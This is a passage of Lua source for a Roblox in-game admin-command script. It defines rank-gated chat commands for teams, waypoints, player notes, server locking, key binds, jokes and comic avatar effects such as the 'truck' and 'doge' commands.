7924
		for _,Player in pairs(Players) do
7925
			local ExistingData = Player:LoadInstance("Data")
7926
			if ExistingData ~= nil then
7927
				if string.lower(Data) == "all" then
7928
					ExistingData:ClearAllChildren()
7929
				else
7930
					for _,DataObj in pairs(ExistingData:GetChildren()) do
7931
						if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
7932
							DataObj:Destroy()
7933
						end
7934
					end
7935
				end
7936
			end
7937
			Player:SaveInstance("Data", ExistingData)
7938
		end
7939
	end};
7940
	
7941
	[{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7942
		local Players = STRING:Scan(Arguments[1], Speaker)
7943
		local DataSet = {}
7944
		for _,Player in pairs(Players) do
7945
			local ExistingData = Player:LoadInstance("Data")
7946
			if ExistingData ~= nil then
7947
				if #ExistingData:GetChildren() ~= 0 then
7948
					for _,Data in pairs(ExistingData:GetChildren()) do
7949
						table.insert(DataSet, Player.Name..": "..Data.Name)
7950
					end
7951
				else
7952
					table.insert(DataSet, "Data does not exist for "..Player.Name)
7953
				end
7954
			else
7955
				table.insert(DataSet, "Data does not exist for "..Player.Name)
7956
			end
7957
		end
7958
		GUI:ListGui(Speaker, "Notes", DataSet)
7959
	end};
7960
	
7961
	[{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
7962
		local Players = STRING:Scan(Arguments[1], Speaker)
7963
		for _,Player in pairs(Players) do
7964
			if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7965
				Player.Character.Humanoid.WalkSpeed = 16
7966
			end
7967
		end
7968
	end};
7969
	
7970
	[{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
7971
		local Players = STRING:Scan(Arguments[1], Speaker)
7972
		for _,Player in pairs(Players) do
7973
			if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7974
				Player.Character.Humanoid.WalkSpeed = -16
7975
			end
7976
		end
7977
	end};
7978
	
7979
	[{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
7980
		local TeamColor = BrickColor.random()
7981
		local TeamName = Arguments[1]
7982
		local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
7983
		if #TeamNameSplit >= 2 then
7984
			local Color = TeamNameSplit[1]
7985
			local NewTeamName = TeamNameSplit[2]
7986
			if Color == "Medium stone grey" then
7987
				TeamColor = BrickColor.new(Color)
7988
				TeamName = NewTeamName
7989
			elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
7990
				TeamColor = BrickColor.new(Color)
7991
				TeamName = NewTeamName
7992
			elseif Colors[string.upper(Color)] then
7993
				TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
7994
				TeamName = NewTeamName
7995
			end
7996
		end
7997
		
7998
		local NewTeam = Instance.new("Team", Server.Teams)
7999
		NewTeam.TeamColor = TeamColor
8000
		NewTeam.Name = TeamName
8001
	end};
8002
	
8003
	[{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
8004
		local Players = STRING:Scan(Arguments[1], Speaker)
8005
		for _,Player in pairs(Players) do
8006
			Player.Neutral = true
8007
		end
8008
	end};
8009
	
8010
	[{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
8011
		local Players = STRING:Scan(Arguments[1], Speaker)
8012
		if string.lower(Arguments[2]) == "none" then
8013
			for _,Player in pairs(Players) do
8014
				Player.Neutral = true
8015
			end
8016
		else
8017
			for _,Obj in pairs(Server.Teams:GetChildren()) do
8018
				if Obj:IsA("Team") then
8019
					if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
8020
						for _,Player in pairs(Players) do
8021
							Player.Neutral = false
8022
							Player.TeamColor = Obj.TeamColor
8023
						end
8024
					end
8025
				end
8026
			end
8027
		end
8028
	end};
8029
	
8030
	[{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
8031
		for _,Obj in pairs(Server.Teams:GetChildren()) do
8032
			if Obj:IsA("Team") then
8033
				if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
8034
					for _,Player in pairs(Server.Players:GetPlayers()) do
8035
						if Player.TeamColor == Obj.TeamColor then
8036
							Player.Neutral = true
8037
						end
8038
					end
8039
					Obj:Destroy()
8040
				end
8041
			end
8042
		end
8043
	end};
8044
	
8045
	[{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
8046
		for _,Player in pairs(Server.Players:GetPlayers()) do
8047
			Player.Neutral = true
8048
		end
8049
		for _,Obj in pairs(Server.Teams:GetChildren()) do
8050
			if Obj:IsA("Team") then
8051
				Obj:Destroy()
8052
			end
8053
		end
8054
	end};
8055
	
8056
	[{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
8057
		for _,Player in pairs(Server.Players:GetPlayers()) do
8058
			GUI:Countdown(Player, Arguments[1])
8059
		end
8060
	end};
8061
	
8062
	[{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8063
		local Players = STRING:Scan(Arguments[1], Speaker)
8064
		for _,Player in pairs(Players) do 
8065
			if Player:FindFirstChild("Backpack") then
8066
				CORE:ExecuteResource("ShowAd", Player.Backpack)
8067
			end
8068
		end
8069
	end};
8070
	
8071
	[{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
8072
		local Players = STRING:Scan(Arguments[1], Speaker)
8073
		for _,Player in pairs(Players) do
8074
			if Player.Character then
8075
				for PosName,WP in pairs(Waypoints) do
8076
					if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
8077
						Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
8078
						break
8079
					end
8080
				end
8081
			end
8082
		end
8083
	end};
8084
	
8085
	[{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments)
8086
		CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
8087
	end};
8088
	
8089
	[{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
8090
		local Num = 0
8091
		for PosName,WP in pairs(Waypoints) do
8092
			Num = Num + 1
8093
			if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
8094
				Waypoints[PosName] = nil
8095
			end
8096
		end
8097
	end};
8098
	
8099
	[{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
8100
		local WaypointHolder,WaypointRaw = {},{}
8101
		for Name, WP in pairs(Waypoints) do
8102
			local View = Name..": "..tostring(WP)
8103
			table.insert(WaypointHolder, View)
8104
			WaypointRaw[View] = WP
8105
		end
8106
		local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
8107
		Clicked.Event:connect(function(Text)
8108
			local Waypoint = WaypointRaw[Text]
8109
			if Waypoint then
8110
				if Speaker.Character then
8111
					Speaker.Character:MoveTo(Waypoint)
8112
				end
8113
			end
8114
		end)
8115
	end};
8116
	
8117
	[{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
8118
		local Players = STRING:Scan(Arguments[1], Speaker)
8119
		local List = {}
8120
		for _,Player in pairs(Players) do
8121
			table.insert(List, Player.Name.." (ID: "..Player.UserId..")")
8122
		end
8123
		GUI:ListGui(Speaker, "Listed Players", List)
8124
	end};
8125
	
8126
	[{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
8127
		if tonumber(Arguments[1]) then
8128
			ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
8129
		else
8130
			local Players = STRING:Scan(Arguments[1], Speaker)
8131
			for _,Player in pairs(Players) do
8132
				ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end)
8133
			end
8134
		end
8135
	end};
8136
	
8137
	[{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
8138
		local Players = STRING:Scan(Arguments[1], Speaker)
8139
		local Friends,OneFriend = {}, false
8140
		for _,Player in pairs(Players) do
8141
			for _,User in pairs(Server.Players:GetPlayers()) do if User ~= Player then
8142
				--[[if Player:IsBestFriendsWith(User.UserId) then
8143
					table.insert(Friends, Player.Name.." is best friends with "..User.Name)
8144
					OneFriend = true
8145
				]]
8146
				if Player:IsFriendsWith(User.UserId) then
8147
					table.insert(Friends, Player.Name.." is friends with "..User.Name)
8148
					OneFriend = true
8149
				end
8150
				if _ == #Server.Players:GetPlayers() and OneFriend == false then
8151
					table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
8152
				end
8153
			end end
8154
		end
8155
		GUI:ListGui(Speaker, "Friend List", Friends)
8156
	end};
8157
	
8158
	[{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8159
		Settings.ServerLocked = true
8160
		GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
8161
	end};
8162
	
8163
	[{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8164
		Settings.ServerLocked = false
8165
		GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
8166
	end};
8167
	
8168
	[{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8169
		local OldAge = Settings.MinimumAge
8170
		local Age = tostring(Arguments[1])
8171
		if Age then
8172
			Settings.MinimumAge = Age
8173
			GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
8174
		end
8175
	end};
8176
	
8177
	[{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8178
		if Settings.VIPAdminID <= 1 then
8179
			MARKET:PromptPurchase(Speaker, VIPAdminID)
8180
		else
8181
			CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
8182
		end
8183
	end};
8184
	
8185
	[{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8186
		if Settings.VIPMemberID <= 1 then
8187
			MARKET:PromptPurchase(Speaker, VIPMemberID)
8188
		else
8189
			CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
8190
		end
8191
	end};
8192
	
8193
	[{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
8194
		if tonumber(Arguments[2]) then
8195
			local Players = STRING:Scan(Arguments[1], Speaker)
8196
			local Size = tonumber(Arguments[2])+25
8197
			for _,Player in pairs(Players) do
8198
				if Player.Character then
8199
					if Player.Character:FindFirstChild("Head") then
8200
						if Player.Character.Head:FindFirstChild("Mesh") then
8201
							Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
8202
						end
8203
					end
8204
				end
8205
			end
8206
		end
8207
	end};
8208
	
8209
	[{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
8210
		local Players = STRING:Scan(Arguments[1], Speaker)
8211
		for _,Player in pairs(Players) do
8212
			if Player.Character and Player.Character:FindFirstChild("Torso") then
8213
				CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position)
8214
				Player.Character.Parent = nil
8215
				CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
8216
			end
8217
		end
8218
	end};
8219
	
8220
	[{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8221
		GUI:SettingsGui(Speaker)
8222
	end};
8223
	
8224
	[{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
8225
		if tonumber(Arguments[2]) then
8226
			local Players = STRING:Scan(Arguments[1], Speaker)
8227
			local List = {}
8228
			for _,Player in pairs(Players) do
8229
				if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
8230
					table.insert(List, Player.Name)
8231
				end
8232
			end
8233
			GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
8234
		end
8235
	end};
8236
	
8237
	[{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
8238
		local Players = STRING:Scan(Arguments[1], Speaker)
8239
		for _,Player in pairs(Players) do
8240
			if Player.Character and Player.Character:FindFirstChild("Head") then
8241
				local Char = Player.Character
8242
				Char:BreakJoints()
8243
				CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8244
					Obj.Anchored = true
8245
					for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
8246
						local Decal = Instance.new("Decal", Obj)
8247
						Decal.Texture = "rbxassetid://178913323"
8248
						Decal.Face = Face
8249
					end
8250
				end)
8251
				local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
8252
				local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
8253
				Sound1:Play() Sound2:Play()
8254
				coroutine.wrap(function()
8255
					coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
8256
					repeat wait()
8257
						CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8258
							SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
8259
							Obj.Transparency = math.random(0,30)/100
8260
							Obj.Reflectance = math.random(0,50)/100
8261
							Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
8262
						end)
8263
					until Char ~= Player.Character or Char.Parent == nil
8264
				end)()
8265
			end
8266
		end
8267
	end, Hidden = true};
8268
	
8269
	[{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments)
8270
		GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
8271
	end, Http = true};
8272
	
8273
	[{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
8274
		local Players = STRING:Scan(Arguments[1], Speaker)
8275
		for _,Player in pairs(Players) do
8276
			if Player.Character then
8277
				CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8278
					Obj.Material = "Neon"
8279
				end)
8280
			end
8281
		end
8282
	end};
8283
	
8284
	[{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
8285
		local Players = STRING:Scan(Arguments[1], Speaker)
8286
		for _,Player in pairs(Players) do
8287
			if Player.Character then
8288
				CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8289
					Obj.Material = "Plastic"
8290
				end)
8291
			end
8292
		end
8293
	end};
8294
	
8295
	[{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
8296
		local Players = STRING:Scan(Arguments[1], Speaker)
8297
		for _,Player in pairs(Players) do
8298
			if Player.Character then
8299
				CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
8300
					Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
8301
				end)
8302
			end
8303
		end
8304
	end, Hidden = true};
8305
	
8306
	[{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
8307
		local Players = STRING:Scan(Arguments[1], Speaker)
8308
		for _,Player in pairs(Players) do
8309
			if Player.Character and Player.Character:FindFirstChild("Torso") then
8310
				local Pos = Player.Character.Torso.Position
8311
				Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
8312
				local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
8313
				if Answer == "Ok" then
8314
					CORE:AddWaypoint(Player.Name, Pos, Speaker)
8315
				end
8316
			end
8317
		end
8318
	end};
8319
	
8320
	[{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
8321
		local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
8322
		local PlayersTo = STRING:Scan(Arguments[2], Speaker)
8323
		if PlayersFrom and PlayersTo then
8324
			for _,PlayerFrom in pairs(PlayersFrom) do
8325
				for _,PlayerTo in pairs(PlayersTo) do
8326
					if PlayerFrom.Character and PlayerTo.Character then
8327
						if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
8328
							local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
8329
							wait(5)
8330
							Laser:Destroy()
8331
						end)() end 
8332
					end
8333
				end
8334
			end
8335
		end
8336
	end};
8337
	
8338
	[{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
8339
		local Players = STRING:Scan(Arguments[1], Speaker)
8340
		for _,Player in pairs(Players) do
8341
			if Player.Character and Player.Character:FindFirstChild("Humanoid") then
8342
				Player.Character.Humanoid:Destroy()
8343
			end
8344
		end
8345
	end};
8346
	
8347
	[{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments)
8348
		if Plugins then
8349
			local List = {}
8350
			for _,Module in pairs(Plugins:GetChildren()) do
8351
				if Module:IsA("ModuleScript") then
8352
					local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8353
					local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8354
					local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8355
					table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
8356
				end
8357
			end
8358
			GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
8359
		else
8360
			GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
8361
		end
8362
	end};
8363
	
8364
	[{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments)
8365
		local Players = STRING:Scan(Arguments[1], Speaker)
8366
		for _,Player in pairs(Players) do
8367
			GUI:DetachChat(Player)
8368
		end
8369
	end};
8370
	
8371
	[{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments)
8372
		GUI:DetachChat(Speaker)
8373
	end};
8374
	
8375
	[{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments)
8376
		local Players = STRING:Scan(Arguments[1], Speaker)
8377
		for _,Player in pairs(Players) do
8378
			if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
8379
				local Dead = false
8380
				
8381
				Player.Character.Humanoid.WalkSpeed = 1
8382
				local Torso = Player.Character.Torso
8383
				local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p
8384
				Truck:BreakJoints()
8385
				local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11)
8386
				local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0))
8387
				local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100
8388
				Truck.Touched:connect(function(Part)
8389
					if Dead == false then
8390
						local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent)
8391
						if TouchPlayer == Player then
8392
							Dead = true
8393
							Player.Character:BreakJoints()
8394
							SOUND:MakeSound(Truck, 264486467):Play() -- splat
8395
						end
8396
					end
8397
				end)
8398
				SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck
8399
				Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn
8400
				Delay(5, function()
8401
					Truck:Destroy()
8402
					if Player.Character:FindFirstChild("Humanoid") then
8403
						Player.Character.Humanoid.WalkSpeed = 16
8404
					end
8405
				end)
8406
			end
8407
		end
8408
	end};
8409
	
8410
	[{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments)
8411
		local Joke = REMOTE:DownloadJoke(Speaker)
8412
		local Players = STRING:Scan(Arguments[1], Speaker)
8413
		for _,Player in pairs(Players) do
8414
			GUI:SendMessage(Player, "Joke", Joke, 19629580)
8415
		end
8416
	end, Http = true};
8417
	
8418
	[{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments)
8419
		local Joke = REMOTE:DownloadJoke(Speaker)
8420
		GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580)
8421
	end, Http = true};
8422
	
8423
	[{"doge", "dog"}] = {"player", "Turns player into doge", 1, "Member", true, function(Speaker, Rank, Arguments)
8424
		local Players = STRING:Scan(Arguments[1], Speaker)
8425
		for _,Player in pairs(Players) do
8426
			if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then
8427
				CORE:InvisiblePlayer(Player)
8428
				local DogContainer = Instance.new("Model", Player.Character)
8429
				DogContainer.Name = "Doge"
8430
				local Dog = CORE:Insert(257489726, DogContainer, true)
8431
				Dog.Head.Transparency = 0.99
8432
				Dog.Name = Player.Name
8433
				Dog:MoveTo(Player.Character.Torso.Position)
8434
				local Weld = Instance.new("Weld", Dog.Torso)
8435
				Weld.Part0 = Player.Character.Torso
8436
				Weld.Part1 = Dog.Torso
8437
				Weld.C0 = CFrame.new(0,-0.4,0)
8438
				for _,Obj in pairs(Dog:GetChildren()) do
8439
					if Obj:IsA("BasePart") then
8440
						Obj.CanCollide = false
8441
					end
8442
				end
8443
				
8444
				CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {})
8445
			end
8446
		end
8447
	end};
8448
	
8449
	[{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments)
8450
		local Key = string.lower(string.sub(Arguments[1],1,1))
8451
		KeyBinds[Speaker.UserId][Key] = Arguments[2]
8452
		GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2])
8453
	end};
8454
	
8455
	[{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments)
8456
		local Key = string.lower(string.sub(Arguments[1],1,1))
8457
		KeyBinds[Speaker.UserId][Key] = nil
8458
		GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key")
8459
	end};
8460
	
8461
	[{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8462
		KeyBinds[Speaker.UserId] = {}
8463
		GUI:SendHint(Speaker, "Unbinded all keys")
8464
	end};
8465
	
8466
	[{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments)
8467
		local Players = STRING:Scan(Arguments[1], Speaker)
8468
		local Key = string.lower(string.sub(Arguments[2],1,1))
8469
		for _,Player in pairs(Players) do
8470
			KeyBinds[Player.UserId][Key] = Arguments[3]
8471
			GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3])
8472
		end
8473
	end};
8474
	
8475
	[{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments)
8476
		local Players = STRING:Scan(Arguments[1], Speaker)
8477
		local Key = string.lower(string.sub(Arguments[2],1,1))
8478
		for _,Player in pairs(Players) do
8479
			KeyBinds[Player.UserId][Key] = nil
8480
			GUI:SendHint(Player, "Unbinded the '"..Key.."' key")
8481
		end
8482
	end};
8483
	
8484
	[{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments)
8485
		local Players = STRING:Scan(Arguments[1], Speaker)
8486
		for _,Player in pairs(Players) do
8487
			KeyBinds[Player.UserId] = {}
8488
			GUI:SendHint(Player, "Unbinded all keys")
8489
		end
8490
	end};
8491
	
8492
	[{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments)
8493
		local Players = STRING:Scan(Arguments[1], Speaker)
8494
		local Binds = {}
8495
		for _,Player in pairs(Players) do
8496
			for Key,Bind in pairs(KeyBinds[Player.UserId]) do
8497
				table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind)
8498
			end
8499
		end
8500
		GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411)
8501
	end};
8502
	
8503
	[{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments)
8504
		local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {}
8505
		local Players = STRING:Scan(ChatSplit[1], Speaker)
8506
		for _,Player in pairs(Players) do
8507
			if Crowns[Player.UserId] then
8508
				Crowns[Player.UserId]:Destroy()
8509
				Crowns[Player.UserId] = nil
8510
				wait()
8511
			end
8512
			CORE:Crown(Player, ChatSplit[2], ChatSplit[3])
8513
		end
8514
	end};
8515
	
8516
	[{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments)
8517
		local Players = STRING:Scan(Arguments[1], Speaker)
8518
		for _,Player in pairs(Players) do
8519
			if Crowns[Player.UserId] then
8520
				Crowns[Player.UserId]:Destroy()
8521
				Crowns[Player.UserId] = nil
8522
			end
8523
		end
8524
	end};
8525
	
8526
	[{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8527
		local MeshList = {}
8528
		for MeshName,Data in pairs(Meshes) do
8529
			table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )")
8530
		end
8531
		GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377)
8532
	end};
8533
	
8534
	[{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8535
		CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end)
8536
	end};
8537
	
8538
	[{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments)
